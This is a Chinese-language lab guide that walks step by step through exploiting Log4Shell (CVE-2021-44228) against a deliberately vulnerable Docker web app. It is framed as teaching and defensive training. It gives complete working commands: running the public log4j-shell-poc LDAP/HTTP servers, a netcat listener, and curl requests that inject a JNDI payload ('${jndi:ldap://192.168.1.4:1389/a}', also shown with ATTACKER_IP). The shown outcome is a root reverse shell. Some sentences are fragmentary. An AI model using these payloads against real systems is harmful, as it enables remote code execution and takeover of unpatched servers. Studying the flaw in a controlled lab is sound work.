# 使用Docker、Kali Linux、Burp Suite和log4j-shell-poc进行Log4Shell(CVE-2021-44228)利用与理解的实操实验室。仅用于受控实验室环境中的教学和防御培训。
Log4Shell(CVE-2021-44228)是迄今为止公开的最具影响力的远程代码执行漏洞之一。它影响了Apache Log4j 2,这是一个广泛使用的Java日志框架,攻击者可以通过滥用日志消息中的JNDI查找来执行任意代码。
本指南提供了一个完整的、可重复的演示实验室,使用:
log4j-shell-poc它专为教学、研究、培训和防御意识而设计,仅限受控环境。 其结构和风格遵循同系列“Shellshock”实验室README的精神。
poc.py使用JDK 1.8.0_202curl利用Log4Shell本实验室必须仅在您有明确授权的受控环境中进行(您自己的实验室、课堂虚拟机等)。
Log4Shell(CVE-2021-44228)是Apache Log4j 2中的一个严重RCE漏洞。
问题源于易受攻击的Log4j2版本会解释攻击者控制的字符串,例如:
${jndi:ldap://ATTACKER_IP:1389/a}
当日志记录此字符串时,Log4j:
在本实验中,您将:
log4j-shell-poc在Kali上运行一个恶意的LDAP + HTTP服务器。curl和Burp Suite传递Log4Shell载荷。完成本实验后,您应能够:
所有组件都运行在您现有的虚拟实验室之上。本笔记假设:
| 组件 | 角色/描述 | 工具/服务 | 示例寻址 |
|---|---|---|---|
| Kali Linux虚拟机(攻击者+主机) | 运行PoC攻利用、LDAP服务器、HTTP服务器、Netcat监听器、Burp Suite | Python 3、JDK 1.8.0_202、Netcat、Burp Suite、Docker、curl、Git | 192.168.1.4(示例Kali IP) |
| 易受攻击的Log4j2 Web应用程序 | 目标;易受Log4Shell攻击的Spring Boot Web应用程序 | Docker镜像:ghcr.io/christophetd/log4shell-vulnerable-app | 暴露在 http://127.0.0.1:8080 |
关键思路
攻击者注入:
${jndi:ldap://192.168.1.4:1389/a}
到HTTP头部中。易受攻击的应用程序使用Log4j2记录它 → 执行JNDI LDAP查找至192.168.1.4:1389 → 从http://192.168.1.4:8000下载恶意类 → 执行该类,该类向192.168.1.4:9001打开一个反向Shell。
在Kali上您需要:
nc)。本指南假设Kali IP为:
192.168.1.4
如果您的IP不同,请相应调整所有命令。
PoC依赖于Java SE 8 Update 202 (JDK 1.8.0_202),因为较新的Java版本限制了此利用所使用的远程类加载行为。
即使Kali已经有OpenJDK 21(或类似版本),您仍然需要单独安装8u202。
mkdir -p ~/Log4Shell
cd ~/Log4Shell
镜像根目录:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
下载Linux x64 tarball(约185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # 应约为185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1选项从归档中移除顶层目录,使文件直接位于/usr/bin/jdk1.8.0_202下。
/usr/bin/jdk1.8.0_202/bin/java -version
预期输出:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
如果看到此信息,则JDK 1.8.0_202安装正确。
在Kali的新终端中(您可以留在~/Log4Shell下):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
您应该会看到类似以下的日志:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/访问。快速检查:
curl http://127.0.0.1:8080/
您可能会看到一个Whitelabel错误页面(HTTP 400)。这没关系——我们只需要应用程序运行并记录请求即可。
log4j-shell-poc在新终端中:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
确认文件:
ls
# poc.py, target/, README, 等等。Exploit.java稍后生成。
poc.py使用JDK 1.8.0_202默认情况下,poc.py期望在仓库中名为jdk1.8.0_20的目录下找到本地JDK。相反,您已将JDK 8u202安装到/usr/bin/jdk1.8.0_202,因此必须更新脚本。
poc.pynano poc.py
搜索jdk1.8.0_20(在nano中:Ctrl+W,输入jdk1.8.0_20,按回车)。
您应该会找到三处,例如:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
将它们替换为:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
保存并退出:
Ctrl + O → 回车Ctrl + XPoC现在使用位于/usr/bin的JDK 1.8.0_202。
从~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
参数:
--userip – 您的Kali IP(攻击者):例如192.168.1.4。--webport – 内嵌HTTP服务器的端口:8000。--lport – 载荷回连的端口:9001。如果配置正确,您应该会看到类似:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
重要:
LDAP服务器正在监听端口1389。
HTTP服务器正在监听端口8000。
打印了要注入的确切载荷:
${jndi:ldap://192.168.1.4:1389/a}
让此终端保持运行。
在Kali上打开另一个新终端:
nc -nvlp 9001
您应该会看到:
listening on [any] 9001 ...
此监听器将从易受攻击的应用程序接收反向Shell。
此时您应该有:
poc.py运行着LDAP(1389)和HTTP(8000)。curl利用Log4Shell首先,使用原始HTTP请求证明利用有效。
在新终端(或可用的重复终端)中:
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
发生的情况:
X-Api-Version头部。${jndi:ldap://192.168.1.4:1389/a}并执行JNDI LDAP查找。poc.py内)响应,指向托管在您HTTP服务器上的恶意Java类。192.168.1.4:9001并生成一个Shell。如果成功,您的Netcat终端会显示:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
您现在拥有了Docker容器内的root Shell。
尝试:
id
hostname
ls /
退出:
exit